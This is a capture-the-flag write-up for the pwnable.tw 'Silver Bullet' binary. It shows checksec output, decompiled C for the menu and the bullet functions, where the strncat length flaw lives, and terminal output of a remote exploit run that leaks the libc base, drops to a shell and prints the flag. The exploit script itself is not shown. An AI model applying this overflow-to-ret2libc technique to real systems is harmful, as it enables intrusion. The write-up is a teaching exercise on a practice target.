└─$ file silver_bullet silver_bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped
checksec
1 2 3 4 5 6 7
└─$ checksec silver_bullet [*] '/home/kazma/pwnabletw/silver_bullet/silver_bullet' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8046000)
./silver_bullet
1 2 3 4 5 6 7 8 9 10
└─$ ./silver_bullet +++++++++++++++++++++++++++ Silver Bullet +++++++++++++++++++++++++++ 1. Create a Silver Bullet 2. Power up Silver Bullet 3. Beat the Werewolf 4. Return +++++++++++++++++++++++++++ Your choice :
int __cdecl main(int argc, constchar **argv, constchar **envp) { int menu_input; // eax int v5; // [esp+0h] [ebp-3Ch] BYREF constchar *v6; // [esp+4h] [ebp-38h] char description[48]; // [esp+8h] [ebp-34h] BYREF int v8; // [esp+38h] [ebp-4h]
init_proc(); v8 = 0; memset(description, 0, sizeof(description)); v5 = 0x7FFFFFFF; v6 = "Gin"; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); menu_input = read_int(v5, v6); if ( menu_input != 2 ) break; power_up(description); } if ( menu_input > 2 ) break; if ( menu_input != 1 ) goto LABEL_15; create_bullet(description); } if ( menu_input == 3 ) break; if ( menu_input == 4 ) { puts("Don't give up !"); exit(0); } LABEL_15: puts("Invalid choice"); } if ( beat(description, &v5) ) return0; puts("Give me more power !!"); } }
首先是 main 的部分,基本上就是選單的運作,然後怪物的血量被設定成 0x7FFFFFFF。
create_bullet
1 2 3 4 5 6 7 8 9 10 11 12 13
int __cdecl create_bullet(char *bullet) { size_t length; // [esp+0h] [ebp-4h]
if ( *bullet ) returnputs("You have been created the Bullet !"); printf("Give me your description of bullet :"); read_input(bullet, 48u); length = strlen(bullet); printf("Your power is : %u\n", length); *((_DWORD *)bullet + 12) = length; returnputs("Good luck !!"); }
new_power = 0; memset(input, 0, sizeof(input)); if ( !*dest ) returnputs("You need create the bullet first !"); if ( *((_DWORD *)dest + 12) > 47u ) returnputs("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(input, 48 - *((_DWORD *)dest + 12)); strncat(dest, input, 48 - *((_DWORD *)dest + 12)); new_power = strlen(input) + *((_DWORD *)dest + 12); printf("Your new power is : %u\n", new_power); *((_DWORD *)dest + 12) = new_power; returnputs("Enjoy it !"); }
└─$ python exploit.py -r [*] '/home/kazma/pwnabletw/silver_bullet/silver_bullet' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8046000) [*] '/home/kazma/pwnabletw/silver_bullet/libc_32.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to chall.pwnable.tw on port 10103: Done [+] libc_base -> 0xf75a9000 [*] Switching to interactive mode Give me your another description of bullet :Your new power is : 4294967052 Enjoy it ! +++++++++++++++++++++++++++ Silver Bullet +++++++++++++++++++++++++++ 1. Create a Silver Bullet 2. Power up Silver Bullet 3. Beat the Werewolf 4. Return +++++++++++++++++++++++++++ Your choice :>----------- Werewolf -----------< + NAME : Gin + HP : 2147483647 >--------------------------------< Try to beat it ..... Oh ! You win !! FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld} $